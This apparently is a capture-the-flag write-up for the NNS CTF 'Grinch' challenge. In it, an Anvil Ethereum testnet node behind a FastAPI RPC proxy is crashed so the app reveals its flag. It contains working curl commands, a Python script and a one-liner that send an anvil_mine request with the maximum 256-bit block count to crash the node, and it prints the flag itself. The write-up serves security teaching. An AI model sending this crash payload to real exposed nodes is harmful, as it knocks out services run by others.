2025 NNS CTF - Grinch
Challenge Overview
Challenge Name: Grinch
Category: Blockchain/Infrastructure
Difficulty: Medium
Description
The Grinch challenge presents a FastAPI web application that manages an Anvil Ethereum testnet node. The objective is to "Make it burn 🔥". So essentially crash or disable the Anvil node to retrieve the flag.
Architecture
The challenge consists of:
- FastAPI Backend (
main.py) - Manages the Anvil process and provides API endpoints - Anvil Node - Ethereum local testnet running with 0 accounts
- Frontend - NES.css styled interface showing challenge status
- Docker Environment - Containerized deployment
Key Components
/api/status- Shows overall system health/api/check_anvil- Returns flag when Anvil is unhealthy/rpc- Proxy to Anvil RPC interface/api/info- Shows account information
Anvil configuration
anvil --accounts 0 --port 8545The Anvil node is started with zero accounts, which becomes relevant for the attack.
Vulnerability Analysis
In /api/check_anvil endpoint:
@app.get("/api/check_anvil")
async def api_check_anvil():
try:
resp = await client.post(
rpc_url,
json={"jsonrpc": "2.0", "id": 1, "method": "eth_blockNumber", "params": []},
timeout=5,
)
# ... healthy response
return {
"anvil_healthy": True,
"block_number": block_num_decimal,
"rpc_url": rpc_url
}
except Exception as e:
flag = os.environ.get("FLAG", "FLAG_NOT_SET")
return {
"anvil_healthy": False,
"error": str(e),
"rpc_url": rpc_url,
"flag": flag, # <-- FLAG RETURNED HERE
"solved": True
}The flag is returned when any exception occurs while communicating with Anvil.
The /rpc endpoint acts as a proxy to Anvil:
@app.post("/rpc")
async def rpc_proxy(request: Request):
rpc_payload = await request.json()
try:
response = await client.post(rpc_url, json=rpc_payload)
return JSONResponse(content=response.json(), ...)
except Exception as e:
return JSONResponse(content={"jsonrpc": "2.0", "error": {...}, ...})This allows direct access to Anvil's RPC interface, including dangerous methods.
Exploit
Initial Reconnaissance
- Service Discovery
curl https://target/api/status
Response shows Anvil is healthy with 0 accounts.
- RPC Interface Testing
curl -X POST https://target/rpc \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'
Attack Vectors Explored
- Resource Exhaustion (Failed)
- Attempted concurrent requests flooding
- Tried large transaction payloads
- Results: Anvil handled load gracefully
- Invalid RPC Calls (Failed)
- Tested non-existent methods
- Attempted malformed JSON
- Results: Proper error handling, no crashes
- Anvil-Specific Methods (Successful)
- Discovered
anvil_minemethod - This method mines a specified number of blocks
- Critical vulnerability: No input validation on block count
The Exploit
The anvil_mine RPC method accepts a parameter specifying how many blocks to mine:
{
"jsonrpc": "2.0",
"method": "anvil_mine",
"params": ["<number_of_blocks>"],
"id": 1
}Exploit Payload
{
"jsonrpc": "2.0",
"method": "anvil_mine",
"params": ["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],
"id": 1
}0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffis the maximum 256-bit hex value- This represents approximately 1.16 × 10^77 blocks
- Anvil attempts to allocate memory/resources for this impossible number
- Results in memory exhaustion, overflow, or process crash
Why This Works
No Input Validation: Anvil doesn't validate the reasonableness of the block count
Resource Exhaustion: Attempting to mine an astronomical number of blocks causes:
- Memory allocation failures
- Integer overflow conditions
- Process termination
Exception Trigger: When Anvil crashes, the health check fails, triggering the flag response
Exploitation Steps
Send crash payload:
curl -X POST https://target/rpc \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"anvil_mine","params":["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"id":1}'Retrieve the flag:
curl https://target/api/check_anvilExpected response:
{
"anvil_healthy": false,
"error": "All connection attempts failed",
"rpc_url": "http://127.0.0.1:8545",
"flag": "NNS{EIP_7702_spec_auth0r1z4t10n_l1st_1s_z3r0_1s_funny_w1th_wr0ng_1mpl3m3nt4t10n_1n_4nv1l_63940beb6d99}",
"solved": true
}Python Script
#!/usr/bin/env python3
import requests
def exploit_grinch(target_url):
# Crash Anvil with impossible mine request
crash_payload = {
"jsonrpc": "2.0",
"method": "anvil_mine",
"params": ["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],
"id": 1
}
try:
requests.post(f"{target_url}/rpc", json=crash_payload, timeout=30)
except:
pass # Expected to fail/timeout
# Get flag
response = requests.get(f"{target_url}/api/check_anvil")
result = response.json()
if result.get("solved"):
return result["flag"]
return None
# Usage
flag = exploit_grinch("https://remote-site.demo")
print(f"Flag: {flag}")Or a curl one-liner:
curl -X POST https://target/rpc -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"anvil_mine","params":["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"id":1}' && curl https://target/api/check_anvilFlag: NNS{EIP_7702_spec_auth0r1z4t10n_l1st_1s_z3r0_1s_funny_w1th_wr0ng_1mpl3m3nt4t10n_1n_4nv1l_63940beb6d99}